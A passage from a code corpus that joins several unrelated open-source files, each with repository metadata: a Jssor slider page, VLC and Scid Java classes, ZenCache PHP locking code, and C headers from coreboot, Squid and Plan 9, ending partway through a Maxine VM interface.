//$SlideHeight: 300, //[Optional] Height of every slide in pixels, default value is height of 'slides' container
$SlideSpacing: 0, //[Optional] Space between each slide in pixels, default value is 0
$DisplayPieces: 1, //[Optional] Number of pieces to display (the slideshow would be disabled if the value is set to greater than 1), the default value is 1
$ParkingPosition: 0, //[Optional] The offset position to park slide (this options applys only when slideshow disabled), default value is 0.
$UISearchMode: 1, //[Optional] The way (0 parellel, 1 recursive, default value is 1) to search UI components (slides container, loading screen, navigator container, direction navigator container, thumbnail navigator container etc).
$PlayOrientation: 1, //[Optional] Orientation to play slide (for auto play, navigation), 1 horizental, 2 vertical, default value is 1
$DragOrientation: 3, //[Optional] Orientation to drag slide, 0 no drag, 1 horizental, 2 vertical, 3 either, default value is 1 (Note that the $DragOrientation should be the same as $PlayOrientation when $DisplayPieces is greater than 1, or parking position is not 0)
$SlideshowOptions: { //[Optional] Options to specify and enable slideshow or not
$Class: $JssorSlideshowRunner$, //[Required] Class to create instance of slideshow
$Transitions: _SlideshowTransitions, //[Required] An array of slideshow transitions to play slideshow
$TransitionsOrder: 1, //[Optional] The way to choose transition to play slide, 1 Sequence, 0 Random
$ShowLink: true //[Optional] Whether to bring slide link on top of the slider when slideshow is running, default value is false
},
$CaptionSliderOptions: { //[Optional] Options which specifies how to animate caption
$Class: $JssorCaptionSlider$, //[Required] Class to create instance to animate caption
$CaptionTransitions: _CaptionTransitions, //[Required] An array of caption transitions to play caption, see caption transition section at jssor slideshow transition builder
$PlayInMode: 1, //[Optional] 0 None (no play), 1 Chain (goes after main slide), 3 Chain Flatten (goes after main slide and flatten all caption animations), default value is 1
$PlayOutMode: 3 //[Optional] 0 None (no play), 1 Chain (goes before main slide), 3 Chain Flatten (goes before main slide and flatten all caption animations), default value is 1
},
$NavigatorOptions: { //[Optional] Options to specify and enable navigator or not
$Class: $JssorNavigator$, //[Required] Class to create navigator instance
$ChanceToShow: 2, //[Required] 0 Never, 1 Mouse Over, 2 Always
$AutoCenter: 0, //[Optional] Auto center navigator in parent container, 0 None, 1 Horizontal, 2 Vertical, 3 Both, default value is 0
$Steps: 1, //[Optional] Steps to go for each navigation request, default value is 1
$Lanes: 1, //[Optional] Specify lanes to arrange items, default value is 1
$SpacingX: 10, //[Optional] Horizontal space between each item in pixel, default value is 0
$SpacingY: 10, //[Optional] Vertical space between each item in pixel, default value is 0
$Orientation: 1 //[Optional] The orientation of the navigator, 1 horizontal, 2 vertical, default value is 1
},
$DirectionNavigatorOptions: {
$Class: $JssorDirectionNavigator$, //[Requried] Class to create direction navigator instance
$ChanceToShow: 2 //[Required] 0 Never, 1 Mouse Over, 2 Always
}
};
var jssor_slider1 = new $JssorSlider$(containerId, options);
//responsive code begin
//you can remove responsive code if you don't want the slider scales while window resizes
function ScaleSlider() {
var windowWidth = $JssorUtils$.$GetWindowSize(window).x;
if (windowWidth)
jssor_slider1.$SetScaleWidth(Math.min(windowWidth, 600));
else
$JssorUtils$.$Delay(ScaleSlider, 30);
}
ScaleSlider();
$JssorUtils$.$AddEvent(window, "load", ScaleSlider);
if (!navigator.userAgent.match(/(iPhone|iPod|iPad|BlackBerry|IEMobile)/)) {
$JssorUtils$.$OnWindowResize(window, ScaleSlider);
}
//responsive code end
};
</script>
<!-- Jssor Slider Begin -->
<!-- You can move inline styles (except 'top', 'left', 'width' and 'height') to css file or css block. -->
<div id="slider1_container" style="position: relative; width: 600px;
height: 300px;">
<!-- Loading Screen -->
<div u="loading" style="position: absolute; top: 0px; left: 0px;">
<div style="filter: alpha(opacity=70); opacity:0.7; position: absolute; display: block;
background-color: #000; top: 0px; left: 0px;width: 100%;height:100%;">
</div>
<div style="position: absolute; display: block; background: url(../img/loading.gif) no-repeat center center;
top: 0px; left: 0px;width: 100%;height:100%;">
</div>
</div>
<!-- Slides Container -->
<div u="slides" style="cursor: move; position: absolute; left: 0px; top: 0px; width: 600px; height: 300px;
overflow: hidden;">
<div>
<a u=image href="http://www.jssor.com"><img src="../img/landscape/01.jpg" /></a>
<div u=caption t="*" class="captionOrange" style="position:absolute; left:20px; top: 30px; width:300px; height:30px;">
slideshow transition twins
</div>
</div>
<div>
<a u=image href="http://www.jssor.com"><img src="../img/landscape/02.jpg" /></a>
<div u=caption t="*" class="captionOrange" style="position:absolute; left:20px; top: 30px; width:300px; height:30px;">
random caption transition
</div>
</div>
<div>
<a u=image href="http://www.jssor.com"><img src="../img/landscape/03.jpg" /></a>
<div u=caption t="*" class="captionOrange" style="position:absolute; left:20px; top: 30px; width:300px; height:30px;">
mobile ready, touch swipe
</div>
</div>
<div>
<a u=image href="http://www.jssor.com"><img src="../img/landscape/04.jpg" /></a>
<div u=caption t="*" class="captionOrange" style="position:absolute; left:20px; top: 30px; width:300px; height:30px;">
responsive, scale smoothly
</div>
</div>
</div>
<!-- Navigator Skin Begin -->
<!-- jssor slider navigator skin 01 -->
<style>
/*
.jssorn01 div (normal)
.jssorn01 div:hover (normal mouseover)
.jssorn01 .av (active)
.jssorn01 .av:hover (active mouseover)
.jssorn01 .dn (mousedown)
*/
.jssorn01 div, .jssorn01 div:hover, .jssorn01 .av
{
filter: alpha(opacity=70);
opacity: .7;
overflow:hidden;
cursor: pointer;
border: #000 1px solid;
}
.jssorn01 div { background-color: gray; }
.jssorn01 div:hover, .jssorn01 .av:hover { background-color: #d3d3d3; }
.jssorn01 .av { background-color: #fff; }
.jssorn01 .dn, .jssorn01 .dn:hover { background-color: #555555; }
</style>
<!-- navigator container -->
<div u="navigator" class="jssorn01" style="position: absolute; bottom: 16px; right: 10px;">
<!-- navigator item prototype -->
<div u="prototype" style="POSITION: absolute; WIDTH: 12px; HEIGHT: 12px;"></div>
</div>
<!-- Navigator Skin End -->
<!-- Direction Navigator Skin Begin -->
<style>
/* jssor slider direction navigator skin 05 css */
/*
.jssord05l (normal)
.jssord05r (normal)
.jssord05l:hover (normal mouseover)
.jssord05r:hover (normal mouseover)
.jssord05ldn (mousedown)
.jssord05rdn (mousedown)
*/
.jssord05l, .jssord05r, .jssord05ldn, .jssord05rdn
{
position: absolute;
cursor: pointer;
display: block;
background: url(../img/d17.png) no-repeat;
overflow:hidden;
}
.jssord05l { background-position: -10px -40px; }
.jssord05r { background-position: -70px -40px; }
.jssord05l:hover { background-position: -130px -40px; }
.jssord05r:hover { background-position: -190px -40px; }
.jssord05ldn { background-position: -250px -40px; }
.jssord05rdn { background-position: -310px -40px; }
</style>
<!-- Arrow Left -->
<span u="arrowleft" class="jssord05l" style="width: 40px; height: 40px; top: 123px; left: 8px;">
</span>
<!-- Arrow Right -->
<span u="arrowright" class="jssord05r" style="width: 40px; height: 40px; top: 123px; right: 8px">
</span>
<!-- Direction Navigator Skin End -->
<a style="display: none" href="http://www.jssor.com">jQuery Slideshow</a>
<!-- Trigger -->
<script>
jssor_slider1_starter('slider1_container');
</script>
</div>
<!-- Jssor Slider End -->
</body>
</html>
|
songjio/j_asset_glpi_kr
|
plugins/monitoring/lib/slider.js-14/themes-no-jquery/banner-rotator.source.source.html
|
HTML
|
gpl-2.0
| 28,954 |
/*
* *************************************************************************
* PreferencesUi.java
* **************************************************************************
* Copyright © 2015 VLC authors and VideoLAN
* Author: Geoffrey Métais
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.
* ***************************************************************************
*/
package org.videolan.vlc.gui.tv.preferences;
import android.annotation.TargetApi;
import android.content.SharedPreferences;
import android.os.Build;
import android.os.Bundle;
import android.widget.Toast;
import org.videolan.vlc.R;
import org.videolan.vlc.util.AndroidDevices;
@TargetApi(Build.VERSION_CODES.JELLY_BEAN_MR1)
public class PreferencesUi extends BasePreferenceFragment implements SharedPreferences.OnSharedPreferenceChangeListener {
@Override
protected int getXml() {
return R.xml.preferences_ui;
}
@Override
protected int getTitleId() {
return R.string.interface_prefs_screen;
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
findPreference("enable_clone_mode").setVisible(false);
findPreference("tv_ui").setVisible(AndroidDevices.hasTsp);
findPreference("enable_black_theme").setVisible(false);
findPreference("secondary_display_category").setVisible(false);
findPreference("secondary_display_category_summary").setVisible(false);
findPreference("daynight").setVisible(false);
}
@Override
public void onStart() {
super.onStart();
getPreferenceScreen().getSharedPreferences().registerOnSharedPreferenceChangeListener(this);
}
@Override
public void onStop() {
super.onStop();
getPreferenceScreen().getSharedPreferences()
.unregisterOnSharedPreferenceChangeListener(this);
}
@Override
public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
switch (key) {
case "set_locale":
Toast.makeText(getActivity(), R.string.set_locale_popup, Toast.LENGTH_SHORT).show();
break;
case "tv_ui":
((PreferencesActivity) getActivity()).setRestartApp();
break;
}
}
}
|
LinguaPlayer/android_lingua_player
|
vlc-android/src/org/videolan/vlc/gui/tv/preferences/PreferencesUi.java
|
Java
|
gpl-2.0
| 3,053 |
<?php
namespace WebSharks\ZenCache;
/*
* Get an exclusive lock on the cache directory.
*
* @since 150422 Rewrite.
*
* @return array Lock type & resource handle needed to unlock later or FALSE if disabled by filter.
*
* @throws \Exception If {@link \sem_get()} not available and there's
* no writable tmp directory for {@link \flock()} either.
*
* @throws \Exception If unable to obtain an exclusive lock by any available means.
*
* @note This call is blocking; i.e. it will not return a lock until a lock becomes possible.
* In short, this will block the caller until such time as write access becomes possible.
*/
$self->cacheLock = function () use ($self) {
if ($self->applyWpFilters(GLOBAL_NS.'\\share::disable_cache_locking', false)
|| $self->applyWpFilters(GLOBAL_NS.'_disable_cache_locking', false)) {
return false; // Disabled cache locking.
}
if (!($wp_config_file = $self->findWpConfigFile())) {
throw new \Exception(__('Unable to find the wp-config.php file.', 'zencache'));
}
$lock_type = 'flock'; // Default lock type.
$lock_type = $self->applyWpFilters(GLOBAL_NS.'\\share::cache_lock_lock_type', $lock_type);
$lock_type = $self->applyWpFilters(GLOBAL_NS.'_cache_lock_type', $lock_type);
if (!in_array($lock_type, array('flock', 'sem'), true)) {
$lock_type = 'flock'; // Default lock type.
}
if ($lock_type === 'sem' && $self->functionIsPossible('sem_get')) {
if (($ipc_key = ftok($wp_config_file, 'w'))) {
if (($resource = sem_get($ipc_key, 1)) && sem_acquire($resource)) {
return array('type' => 'sem', 'resource' => $resource);
}
}
}
if (!($tmp_dir = $self->getTmpDir())) {
throw new \Exception(__('No writable tmp directory.', 'zencache'));
}
$inode_key = fileinode($wp_config_file);
$mutex = $tmp_dir.'/'.SLUG_TD.'-'.$inode_key.'.lock';
if (!($resource = fopen($mutex, 'w')) || !flock($resource, LOCK_EX)) {
throw new \Exception(__('Unable to obtain an exclusive lock.', 'zencache'));
}
return array('type' => 'flock', 'resource' => $resource);
};
/*
* Release an exclusive lock on the cache directory.
*
* @since 150422 Rewrite. Updated 151002 to remove the `array` typecast.
*
* @param array|mixed $lock Type & resource.
*/
$self->cacheUnlock = function ($lock) use ($self) {
if (!is_array($lock)) {
return; // Not possible.
// Or, they disabled cache locking.
}
if (empty($lock['type']) || empty($lock['resource'])) {
return; // Not possible.
}
if (!is_resource($lock['resource'])) {
return; // Not possible.
}
if ($lock['type'] === 'sem') {
sem_release($lock['resource']);
} elseif ($lock['type'] === 'flock') {
flock($lock['resource'], LOCK_UN);
fclose($lock['resource']);
}
};
|
alogic/fightchoice
|
wp-content/plugins/zencache/src/includes/closures/Shared/CacheLockUtils.php
|
PHP
|
gpl-2.0
| 2,902 |
<?php
class MWP_Backup_ArrayHelper
{
public static function getKey($array, $key, $default = null)
{
return is_array($array) && array_key_exists($key, $array) ? $array[$key] : $default;
}
}
|
michaelwking/michaelwkinginternet
|
wp-content/plugins/worker/src/MWP/Backup/ArrayHelper.php
|
PHP
|
gpl-2.0
| 217 |
package org.scid.android.gamelogic;
import java.util.ArrayList;
import java.util.List;
import org.scid.android.PGNOptions;
import org.scid.android.engine.ComputerPlayer;
import org.scid.android.gamelogic.GameTree.Node;
/**
*
* @author petero
*/
public class Game {
boolean pendingDrawOffer;
GameTree tree;
private ComputerPlayer computerPlayer;
TimeControl timeController;
private boolean gamePaused;
private boolean addFirst;
PgnToken.PgnTokenReceiver gameTextListener;
public Game(ComputerPlayer computerPlayer,
PgnToken.PgnTokenReceiver gameTextListener, int timeControl,
int movesPerSession, int timeIncrement) {
this.computerPlayer = computerPlayer;
this.gameTextListener = gameTextListener;
tree = new GameTree(gameTextListener);
timeController = new TimeControl();
timeController.setTimeControl(timeControl, movesPerSession,
timeIncrement);
gamePaused = false;
newGame();
}
final void fromByteArray(byte[] data) {
tree.fromByteArray(data);
updateTimeControl(true);
}
public final void setComputerPlayer(ComputerPlayer computerPlayer) {
this.computerPlayer = computerPlayer;
}
public final void setGamePaused(boolean gamePaused) {
if (gamePaused != this.gamePaused) {
this.gamePaused = gamePaused;
updateTimeControl(false);
}
}
public final void setAddFirst(boolean addFirst) {
this.addFirst = addFirst;
}
final void setPos(Position pos) {
tree.setStartPos(new Position(pos));
updateTimeControl(false);
}
final boolean readPGN(String pgn, PGNOptions options)
throws ChessParseError {
boolean ret = tree.readPGN(pgn, options);
if (ret)
updateTimeControl(false);
return ret;
}
public final Position currPos() {
return tree.currentPos;
}
final Position prevPos() {
Move m = tree.currentNode.move;
if (m != null) {
tree.goBack();
Position ret = new Position(currPos());
tree.goForward(-1);
return ret;
} else {
return currPos();
}
}
public final Move getNextMove() {
if (canRedoMove()) {
tree.goForward(-1);
Move ret = tree.currentNode.move;
tree.goBack();
return ret;
} else {
return null;
}
}
/**
* Update the game state according to move/command string from a player.
*
* @param str
* The move or command to process.
* @return True if str was understood, false otherwise.
*/
public final boolean processString(String str, boolean inStudyMode) {
if (getGameState() != GameState.ALIVE)
return false;
if (str.startsWith("draw ")) {
String drawCmd = str.substring(str.indexOf(" ") + 1);
handleDrawCmd(drawCmd, inStudyMode);
return true;
} else if (str.equals("resign")) {
addToGameTree(new Move(0, 0, 0), "resign", inStudyMode);
return true;
}
Move m = TextIO.UCIstringToMove(str);
if (m != null) {
ArrayList<Move> moves = new MoveGen().pseudoLegalMoves(currPos());
moves = MoveGen.removeIllegal(currPos(), moves);
boolean legal = false;
for (int i = 0; i < moves.size(); i++) {
if (m.equals(moves.get(i))) {
legal = true;
break;
}
}
if (!legal)
m = null;
}
if (m == null) {
m = TextIO.stringToMove(currPos(), str);
}
if (m == null) {
return false;
}
return addToGameTree(m, pendingDrawOffer ? "draw offer" : "",
inStudyMode);
}
private final boolean addToGameTree(Move m, String playerAction,
boolean inStudyMode) {
if (m.equals(new Move(0, 0, 0))) { // Don't create more than one null
// move at a node
List<Move> varMoves = tree.variations();
for (int i = varMoves.size() - 1; i >= 0; i--) {
if (varMoves.get(i).equals(m)) {
tree.deleteVariation(i);
}
}
}
List<Move> varMoves = tree.variations();
boolean movePresent = false;
int varNo;
for (varNo = 0; varNo < varMoves.size(); varNo++) {
if (varMoves.get(varNo).equals(m)) {
movePresent = true;
break;
}
}
if (!movePresent) {
if (inStudyMode) {
return false;
} else {
String moveStr = TextIO.moveToUCIString(m);
varNo = tree.addMove(moveStr, playerAction, 0, "", "");
}
}
int newPos = addFirst ? 0 : varNo;
tree.reorderVariation(varNo, newPos);
tree.goForward(newPos);
int remaining = timeController.moveMade(System.currentTimeMillis());
tree.setRemainingTime(remaining);
updateTimeControl(true);
pendingDrawOffer = false;
return true;
}
private final void updateTimeControl(boolean discardElapsed) {
int move = currPos().fullMoveCounter;
boolean wtm = currPos().whiteMove;
if (discardElapsed || (move != timeController.currentMove)
|| (wtm != timeController.whiteToMove)) {
int initialTime = timeController.getInitialTime();
int whiteBaseTime = tree.getRemainingTime(true, initialTime);
int blackBaseTime = tree.getRemainingTime(false, initialTime);
timeController.setCurrentMove(move, wtm, whiteBaseTime,
blackBaseTime);
}
long now = System.currentTimeMillis();
if (gamePaused || (getGameState() != GameState.ALIVE)) {
timeController.stopTimer(now);
} else {
timeController.startTimer(now);
}
}
public final String getGameStateString() {
switch (getGameState()) {
case ALIVE:
return "";
case WHITE_MATE:
return "Game over, white mates!";
case BLACK_MATE:
return "Game over, black mates!";
case WHITE_STALEMATE:
case BLACK_STALEMATE:
return "Game over, draw by stalemate!";
case DRAW_REP: {
String ret = "Game over, draw by repetition!";
String drawInfo = tree.getGameStateInfo();
if (drawInfo.length() > 0) {
ret = ret + " [" + drawInfo + "]";
}
return ret;
}
case DRAW_50: {
String ret = "Game over, draw by 50 move rule!";
String drawInfo = tree.getGameStateInfo();
if (drawInfo.length() > 0) {
ret = ret + " [" + drawInfo + "]";
}
return ret;
}
case DRAW_NO_MATE:
return "Game over, draw by impossibility of mate!";
case DRAW_AGREE:
return "Game over, draw by agreement!";
case RESIGN_WHITE:
return "Game over, white resigns!";
case RESIGN_BLACK:
return "Game over, black resigns!";
default:
throw new RuntimeException();
}
}
/**
* Get the last played move, or null if no moves played yet.
*/
public final Move getLastMove() {
return tree.currentNode.move;
}
/** Return true if there is a move to redo. */
public final boolean canRedoMove() {
int nVar = tree.variations().size();
if (nVar == 1) {
// check if last move is the null move
if (tree.variations().get(0).isNullMove()) {
nVar = 0;
}
}
return nVar > 0;
}
public final int numVariations() {
if (tree.currentNode == tree.rootNode)
return 1;
tree.goBack();
int nChildren = tree.variations().size();
tree.goForward(-1);
return nChildren;
}
public final int currVariation() {
if (tree.currentNode == tree.rootNode)
return 0;
tree.goBack();
int defChild = tree.currentNode.defaultChild;
tree.goForward(-1);
return defChild;
}
public final void changeVariation(int delta) {
if (tree.currentNode == tree.rootNode)
return;
tree.goBack();
int defChild = tree.currentNode.defaultChild;
int nChildren = tree.variations().size();
int newChild = defChild + delta;
newChild = Math.max(newChild, 0);
newChild = Math.min(newChild, nChildren - 1);
tree.goForward(newChild);
pendingDrawOffer = false;
updateTimeControl(true);
}
public final void moveVariation(int delta) {
if (tree.currentNode == tree.rootNode)
return;
tree.goBack();
int varNo = tree.currentNode.defaultChild;
int nChildren = tree.variations().size();
int newPos = varNo + delta;
newPos = Math.max(newPos, 0);
newPos = Math.min(newPos, nChildren - 1);
tree.reorderVariation(varNo, newPos);
tree.goForward(newPos);
pendingDrawOffer = false;
updateTimeControl(true);
}
public final void removeSubTree() {
if (getLastMove() != null) {
tree.goBack();
int defChild = tree.currentNode.defaultChild;
tree.deleteVariation(defChild);
} else {
while (canRedoMove())
tree.deleteVariation(0);
}
pendingDrawOffer = false;
updateTimeControl(true);
}
public static enum GameState {
ALIVE,
WHITE_MATE, // White mates
BLACK_MATE, // Black mates
WHITE_STALEMATE, // White is stalemated
BLACK_STALEMATE, // Black is stalemated
DRAW_REP, // Draw by 3-fold repetition
DRAW_50, // Draw by 50 move rule
DRAW_NO_MATE, // Draw by impossibility of check mate
DRAW_AGREE, // Draw by agreement
RESIGN_WHITE, // White resigns
RESIGN_BLACK // Black resigns
}
/**
* Get the current state (draw, mate, ongoing, etc) of the game.
*/
public final GameState getGameState() {
return tree.getGameState();
}
/**
* Check if a draw offer is available.
* @return True if the current player has the option to accept a draw offer.
*/
public final boolean haveDrawOffer() {
return tree.currentNode.playerAction.equals("draw offer");
}
public final void undoMove() {
Move m = tree.currentNode.move;
if (m != null) {
tree.goBack();
pendingDrawOffer = false;
updateTimeControl(true);
}
}
public final void redoMove() {
if (canRedoMove()) {
tree.goForward(-1);
pendingDrawOffer = false;
updateTimeControl(true);
}
}
public final void newGame() {
tree = new GameTree(gameTextListener);
timeController.reset();
pendingDrawOffer = false;
updateTimeControl(true);
}
/**
* Return the last zeroing position and a list of moves
* to go from that position to the current position.
*/
public final Pair<Position, ArrayList<Move>> getUCIHistory() {
Pair<List<Node>, Integer> ml = tree.getMoveList();
List<Node> moveList = ml.first;
Position pos = new Position(tree.startPos);
ArrayList<Move> mList = new ArrayList<Move>();
Position currPos = new Position(pos);
UndoInfo ui = new UndoInfo();
int nMoves = ml.second;
for (int i = 0; i < nMoves; i++) {
Node n = moveList.get(i);
mList.add(n.move);
currPos.makeMove(n.move, ui);
if (currPos.halfMoveClock == 0) {
pos = new Position(currPos);
mList.clear();
}
}
return new Pair<Position, ArrayList<Move>>(pos, mList);
}
private final void handleDrawCmd(String drawCmd, boolean inStudyMode) {
Position pos = tree.currentPos;
if (drawCmd.startsWith("rep") || drawCmd.startsWith("50")) {
boolean rep = drawCmd.startsWith("rep");
Move m = null;
String ms = null;
int firstSpace = drawCmd.indexOf(" ");
if (firstSpace >= 0) {
ms = drawCmd.substring(firstSpace + 1);
if (ms.length() > 0) {
m = TextIO.stringToMove(pos, ms);
}
}
boolean valid;
if (rep) {
valid = false;
UndoInfo ui = new UndoInfo();
int repetitions = 0;
Position posToCompare = new Position(tree.currentPos);
if (m != null) {
posToCompare.makeMove(m, ui);
repetitions = 1;
}
Pair<List<Node>, Integer> ml = tree.getMoveList();
List<Node> moveList = ml.first;
Position tmpPos = new Position(tree.startPos);
if (tmpPos.drawRuleEquals(posToCompare))
repetitions++;
int nMoves = ml.second;
for (int i = 0; i < nMoves; i++) {
Node n = moveList.get(i);
tmpPos.makeMove(n.move, ui);
TextIO.fixupEPSquare(tmpPos);
if (tmpPos.drawRuleEquals(posToCompare))
repetitions++;
}
if (repetitions >= 3)
valid = true;
} else {
Position tmpPos = new Position(pos);
if (m != null) {
UndoInfo ui = new UndoInfo();
tmpPos.makeMove(m, ui);
}
valid = tmpPos.halfMoveClock >= 100;
}
if (valid) {
String playerAction = rep ? "draw rep" : "draw 50";
if (m != null)
playerAction += " " + TextIO.moveToString(pos, m, false);
addToGameTree(new Move(0, 0, 0), playerAction, inStudyMode);
} else {
pendingDrawOffer = true;
if (m != null) {
processString(ms, inStudyMode);
}
}
} else if (drawCmd.startsWith("offer ")) {
pendingDrawOffer = true;
String ms = drawCmd.substring(drawCmd.indexOf(" ") + 1);
if (TextIO.stringToMove(pos, ms) != null) {
processString(ms, inStudyMode);
}
} else if (drawCmd.equals("accept")) {
if (haveDrawOffer())
addToGameTree(new Move(0, 0, 0), "draw accept", inStudyMode);
}
}
}
|
mauronunez/scidonthego
|
src/org/scid/android/gamelogic/Game.java
|
Java
|
gpl-2.0
| 12,342 |
/*
* This file is part of the coreboot project.
*
* Copyright (C) 2015 Google Inc.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; version 2 of the License.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
/* Enable EC backed Keyboard Backlight in ACPI */
#define EC_ENABLE_KEYBOARD_BACKLIGHT
|
MattDevo/coreboot
|
src/mainboard/google/glados/variants/chell/include/variant/ec.h
|
C
|
gpl-2.0
| 633 |
/*
* Copyright (C) 1996-2016 The Squid Software Foundation and contributors
*
* Squid software is distributed under GPLv2+ license and includes
* contributions from numerous individuals and organizations.
* Please see the COPYING and CONTRIBUTORS files for details.
*/
#ifndef _SQUID_COMM_FORWARD_H
#define _SQUID_COMM_FORWARD_H
#include "base/RefCount.h"
#include <vector>
/// Abstraction layer for TCP, UDP, TLS, UDS and filedescriptor sockets.
namespace Comm
{
class Connection;
class ConnOpener;
typedef RefCount<Comm::Connection> ConnectionPointer;
typedef std::vector<Comm::ConnectionPointer> ConnectionList;
bool IsConnOpen(const Comm::ConnectionPointer &conn);
}; // namespace Comm
#endif /* _SQUID_COMM_FORWARD_H */
|
saucelabs/squid3
|
src/comm/forward.h
|
C
|
gpl-2.0
| 742 |
/*
* This file is part of the UCB release of Plan 9. It is subject to the license
* terms in the LICENSE file found in the top-level directory of this
* distribution and at http://akaros.cs.berkeley.edu/files/Plan9License. No
* part of the UCB release of Plan 9, including this file, may be copied,
* modified, propagated, or distributed except according to the terms contained
* in the LICENSE file.
*/
typedef struct Ioclust Ioclust;
typedef struct Iobuf Iobuf;
typedef struct Isofile Isofile;
typedef struct Xdata Xdata;
typedef struct Xfile Xfile;
typedef struct Xfs Xfs;
typedef struct Xfsub Xfsub;
#pragma incomplete Isofile
enum
{
Sectorsize = 2048,
Maxname = 256,
};
struct Iobuf
{
Ioclust* clust;
long addr;
uchar* iobuf;
};
struct Ioclust
{
long addr; /* in sectors; good to 8TB */
Xdata* dev;
Ioclust* next;
Ioclust* prev;
int busy;
int nbuf;
Iobuf* buf;
uchar* iobuf;
};
struct Xdata
{
Xdata* next;
char* name; /* of underlying file */
Qid qid;
short type;
short fdev;
int ref; /* attach count */
int dev; /* for read/write */
};
struct Xfsub
{
void (*reset)(void);
int (*attach)(Xfile*);
void (*clone)(Xfile*, Xfile*);
void (*walkup)(Xfile*);
void (*walk)(Xfile*, char*);
void (*open)(Xfile*, int);
void (*create)(Xfile*, char*, long, int);
long (*readdir)(Xfile*, uchar*, long, long);
long (*read)(Xfile*, char*, vlong, long);
long (*write)(Xfile*, char*, vlong, long);
void (*clunk)(Xfile*);
void (*remove)(Xfile*);
void (*stat)(Xfile*, Dir*);
void (*wstat)(Xfile*, Dir*);
};
struct Xfs
{
Xdata* d; /* how to get the bits */
Xfsub* s; /* how to use them */
int ref;
int issusp; /* follows system use sharing protocol */
long suspoff; /* if so, offset at which SUSP area begins */
int isrock; /* Rock Ridge format */
int isplan9; /* has Plan 9-specific directory info */
Qid rootqid;
Isofile* ptr; /* private data */
};
struct Xfile
{
Xfile* next; /* in fid hash bucket */
Xfs* xf;
long fid;
ulong flags;
Qid qid;
int len; /* of private data */
Isofile* ptr;
};
enum
{
Asis,
Clean,
Clunk
};
enum
{
Oread = 1,
Owrite = 2,
Orclose = 4,
Omodes = 3,
};
extern char Enonexist[]; /* file does not exist */
extern char Eperm[]; /* permission denied */
extern char Enofile[]; /* no file system specified */
extern char Eauth[]; /* authentication failed */
extern char *srvname;
extern char *deffile;
extern int chatty;
extern jmp_buf err_lab[];
extern int nerr_lab;
extern char err_msg[];
extern int nojoliet;
extern int noplan9;
extern int norock;
|
rminnich/k9
|
sys/src/cmd/9660srv/dat.h
|
C
|
gpl-2.0
| 2,544 |
/*
* Copyright (c) 2010, 2011, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package com.sun.max.tele;
import java.io.*;
import java.util.*;
import com.sun.max.tele.object.*;
import com.sun.max.unsafe.*;
/**
* Access to machine code in the VM, consisting of either {@linkplain MaxCompilation method compilations} in the
* {@linkplain MaxCodeCache code cache} or {@linkplain MaxNativeFunction native function code} that has been identified by
* various means.
*/
public interface MaxMachineCode extends MaxEntity<MaxMachineCode> {
/**
* Gets the existing machine code, if known, that contains a given address in the VM; the result could be either a
* VM method compilation or a block of native function code about which little is known.
* <p>
* A result is returned <em>only</em> if there is machine code at the location. If the memory location falls within
* the code cache memory allocated to a method compilation, but does <em>not</em> point to machine code in that
* allocation, then {@code null} is returned.
*
* @param address a memory location in the VM
* @return the machine code, if any is known, that includes the address
*/
MaxMachineCodeRoutine< ? extends MaxMachineCodeRoutine> findMachineCode(Address address);
/**
* Get the method compilation, if any, whose memory containing machine code includes a given address in the VM.
* <p>
* A result is returned <em>only</em> if there is machine code at the location. A memory location might fall within
* the code cache memory allocated to a method compilation, but if there is <em>not</em> point machine code at the
* memory location, then {@code null} is returned.
*
* @param address memory location in the VM
* @return a compiled method whose code includes the address, null if none
*/
MaxCompilation findCompilation(Address address);
/**
* @return gets all compilations of a method in the VM, empty if none
*/
List<MaxCompilation> compilations(TeleClassMethodActor teleClassMethodActor);
/**
* Gets the most recent compilation of a method in the VM, null if none.
*
* @throws MaxVMBusyException if the VM is unavailable
*/
MaxCompilation latestCompilation(TeleClassMethodActor teleClassMethodActor) throws MaxVMBusyException;
/**
* Create a new MaxNativeFunction to represent a block of native function code in the VM that has not yet been
* registered, and keep information about it in a registry for subsequent reference.
*
* @param codeStart starting address of the machine code in VM memory, not in any VM allocated memory
* @param nBytes presumed size of the code in bytes
* @param name an optional name to be assigned to the block of code; a simple address-based name used if null.
* @return a newly created MaxNativeFunction
* @throws MaxVMBusyException if the VM is unavailable
* @throws IllegalArgumentException if the range of memory overlaps in any way with a region already registered, or
* is in a VM-allocated code region.
* @throws MaxInvalidAddressException if he address cannot be read
*/
MaxNativeFunction registerNativeFunction(Address codeStart, long nBytes, String name) throws MaxVMBusyException, MaxInvalidAddressException;
/**
* Get the block of known native function code, if any, that contains a given address in the VM process.
*
* @param address memory location in the VM
* @return known native function code that includes the address, null if none
*/
MaxNativeFunction findNativeFunction(Address address);
/**
* Writes a textual summary describing all instances of {@link MaxMachineCodeRoutine} known to the VM, including
* compilations created by the VM and blocks of native function code about which less is known.
*/
void writeSummary(PrintStream printStream);
/**
* Writes current statistics concerning inspection of VM's code cache.
*
